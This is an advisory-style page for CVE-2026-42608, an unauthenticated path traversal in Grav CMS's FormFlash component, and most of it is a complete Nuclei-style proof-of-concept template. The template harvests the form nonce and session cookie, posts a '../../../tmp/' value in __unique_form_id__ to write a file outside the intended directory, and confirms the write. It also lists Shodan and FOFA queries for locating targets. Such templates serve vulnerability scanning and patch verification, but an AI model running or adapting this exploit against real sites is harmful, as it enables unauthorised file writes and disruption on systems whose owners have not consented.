CVE-2026-42608: Grav CMS < 1.7.53.4 - Unauthenticated Path Traversal via FormFlash

2026-11-29 PoC Public

Description

Grav < 1.7.53.4 contains a path traversal caused by manipulation of session_id (__form-flash-id) in FormFlash core component, letting unauthenticated attackers create directories and write files, exploit requires no authentication.

Details

CVE
CVE-2026-42608 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-42608

info:
  name: Grav CMS < 1.7.53.4 - Unauthenticated Path Traversal via FormFlash
  author: 0x_Akoko
  severity: high
  description: |
    Grav < 1.7.53.4 contains a path traversal caused by manipulation of session_id (__form-flash-id) in FormFlash core component, letting unauthenticated attackers create directories and write files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can create directories and write files, leading to unauthorized modification, data integrity issues, and service disruption.
  remediation: |
    Update to version 2.0.0-beta.2 or later.
  reference:
    - https://github.com/getgrav/grav/security/advisories/GHSA-hmcx-ch82-3fv2
    - https://github.com/getgrav/grav/commit/d904efc33
    - https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Framework/Form/FormFlash.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42608
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
    cvss-score: 8.2
    cve-id: CVE-2026-42608
    epss-score: 0.0209
    epss-percentile: 0.82295
    cwe-id: CWE-22
  metadata:
    max-request: 8
    vendor: getgrav
    product: grav
    shodan-query: http.html:"GravCMS"
    fofa-query: body="GravCMS"
  tags: cve,cve2026,grav,traversal,unauth,intrusive,vkev

variables:
  mark: "{{rand_base(6)}}"

flow: |
  let found = false;
  for (let p of ["", "contact", "contact-us", "contacts", "en/contact"]) {
    set("path", p);
    if (http(1)) { found = true; break; }
  }
  found && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /{{path}} HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    extractors:
      - type: regex
        name: formaction
        part: body
        internal: true
        group: 1
        regex:
          - 'action="(/[^"]*)"[^>]*method="(?i:post)"'
      - type: regex
        name: formname
        part: body
        internal: true
        group: 1
        regex:
          - 'name="__form-name__"[^>]*value="([^"]+)"'
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'name="form-nonce"[^>]*value="([a-f0-9]{32})"'
      - type: regex
        name: gcookie
        part: header
        internal: true
        group: 1
        regex:
          - '(grav-site-[a-z0-9]+=[^;]+)'

    matchers:
      - type: dsl
        condition: and
        internal: true
        dsl:
          - 'status_code == 200'
          - 'nonce != ""'
          - 'formname != ""'
          - 'formaction != ""'

  - raw:
      - |
        POST {{formaction}}.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{gcookie}}

        task=store-state&__form-name__={{url_encode(formname)}}&__unique_form_id__=a{{mark}}&form-nonce={{nonce}}&data[name]=a{{mark}}

    matchers:
      - type: dsl
        condition: and
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'

  - raw:
      - |
        POST {{formaction}}.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{gcookie}}

        task=store-state&__form-name__={{url_encode(formname)}}&__unique_form_id__=../../../tmp/{{mark}}&form-nonce={{nonce}}&data[name]=a{{mark}}

    matchers:
      - type: dsl
        condition: and
        internal: true
        dsl:
          - 'status_code == 200'

  - raw:
      - |
        GET /tmp/{{mark}}/index.yaml HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "unique_id: ../../../tmp/{{mark}}", "form:", "timestamps:")'

    extractors:
      - type: regex
        name: written_outside_flash_dir
        part: body
        group: 1
        regex:
          - 'unique_id: (\.\./\.\./\.\./tmp/[A-Za-z0-9]+)'
# digest: 490a0046304402204237f74b1f03ad381fbfc92425d63943d190fe00adc62bd4ab0287444e70a31e02207f5ac3fec0853786d064ee0166c4b8d381dfaf40e6407d8e07f872a7f869a028:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life